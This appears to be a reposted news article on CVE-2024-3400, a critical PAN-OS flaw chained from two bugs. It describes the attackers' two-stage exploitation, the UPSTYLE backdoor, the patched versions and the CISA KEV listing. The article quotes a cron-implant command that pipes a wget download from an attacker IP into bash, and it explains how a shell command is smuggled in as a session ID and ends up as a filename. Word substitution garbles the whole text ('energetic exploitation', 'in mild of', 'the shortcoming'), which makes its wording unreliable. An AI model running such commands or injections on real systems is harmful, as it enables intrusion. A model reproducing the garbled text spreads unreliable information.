Palo Alto Networks Discloses Extra Particulars on Important PAN-OS Flaw Beneath Assault – Fin Serve

Apr 20, 2024NewsroomVulnerability / Community Safety

Palo Alto Networks has shared extra particulars of a crucial safety flaw impacting PAN-OS that has come beneath energetic exploitation within the wild by malicious actors.

The corporate described the vulnerability, tracked as CVE-2024-3400 (CVSS rating: 10.0), as “intricate” and a mix of two bugs in variations PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 of the software program.

“Within the first one, the GlobalProtect service didn’t sufficiently validate the session ID format earlier than storing them. This enabled the attacker to retailer an empty file with the attacker’s chosen filename,” Chandan B. N., senior director of product safety at Palo Alto Networks, mentioned.

“The second bug (trusting that the recordsdata had been system-generated) used the filenames as a part of a command.”

It is value noting that whereas neither of the problems are crucial sufficient on their very own, when chained collectively, they might result in unauthenticated distant shell command execution.

Palo Alto Networks mentioned that the menace actor behind the zero-day exploitation of the flaw, UTA0218, carried out a two-stage assault to realize command execution on vulnerable units. The exercise is being tracked beneath the identify Operation MidnightEclipse.

As beforehand disclosed by each Volexity and the community safety firm’s personal Unit 42 menace intelligence division, this entails sending specifically crafted requests containing the command to be executed, which is then run by way of a backdoor known as UPSTYLE.

“The preliminary persistence mechanism setup by UTA0218 concerned configuring a cron job that might use wget to retrieve a payload from an attacker-controlled URL with its output being written to stdout and piped to bash for execution,” Volexity famous final week.

“The attacker used this methodology to deploy and execute particular instructions and obtain reverse proxy tooling corresponding to GOST (GO Easy Tunnel).”

Unit 42 mentioned it has been unable to find out the instructions executed by way of this mechanism – wget -qO- hxxp://172.233.228[.]93/coverage | bash – however assessed that the cron job-based implant is probably going used to hold out post-exploitation actions.

“In stage 1, the attacker sends a rigorously crafted shell command as an alternative of a legitimate session ID to GlobalProtect,” Chandan defined. “This leads to creating an empty file on the system with an embedded command as its filename, as chosen by the attacker.”

“In stage 2, an unsuspecting scheduled system job that runs recurrently makes use of the attacker-provided filename in a command. This leads to the execution of the attacker-supplied command with elevated privileges.”

Whereas Palo Alto Networks initially famous that profitable exploitation of CVE-2024-3400 required the firewall configurations for GlobalProtect gateway or GlobalProtect portal (or each) and machine telemetry to be enabled, the corporate has since confirmed that machine telemetry has no bearing on the issue.

That is primarily based on new findings from Bishop Fox, which found bypasses to weaponize the flaw such that it didn’t require telemetry to be enabled on a tool with the intention to infiltrate it.

The corporate has additionally expanded patches for the flaw past the first variations over the previous few days to cowl different generally deployed upkeep releases –

  • PAN-OS 10.2.9-h1
  • PAN-OS 10.2.8-h3
  • PAN-OS 10.2.7-h8
  • PAN-OS 10.2.6-h3
  • PAN-OS 10.2.5-h6
  • PAN-OS 10.2.4-h16
  • PAN-OS 10.2.3-h13
  • PAN-OS 10.2.2-h5
  • PAN-OS 10.2.1-h2
  • PAN-OS 10.2.0-h3
  • PAN-OS 11.0.4-h1
  • PAN-OS 11.0.4-h2
  • PAN-OS 11.0.3-h10
  • PAN-OS 11.0.2-h4
  • PAN-OS 11.0.1-h4
  • PAN-OS 11.0.0-h3
  • PAN-OS 11.1.2-h3
  • PAN-OS 11.1.1-h1
  • PAN-OS 11.1.0-h3

In mild of the energetic abuse of CVE-2024-3400 and the supply of a proof-of-concept (PoC) exploit code, customers are beneficial to take steps to use the hotfixes as quickly as potential to safeguard in opposition to potential threats.

The U.S. Cybersecurity and Infrastructure Safety Company (CISA) has additionally added the shortcoming to its Recognized Exploited Vulnerabilities (KEV) catalog, ordering federal businesses to safe their units by April 19, 2024.

In line with info shared by the Shadowserver Basis, roughly 22,542 internet-exposed firewall units are possible weak to the CVE-2024-3400. A majority of the units are within the U.S., Japan, India, Germany, the U.Ok., Canada, Australia, France, and China as of April 18, 2024.

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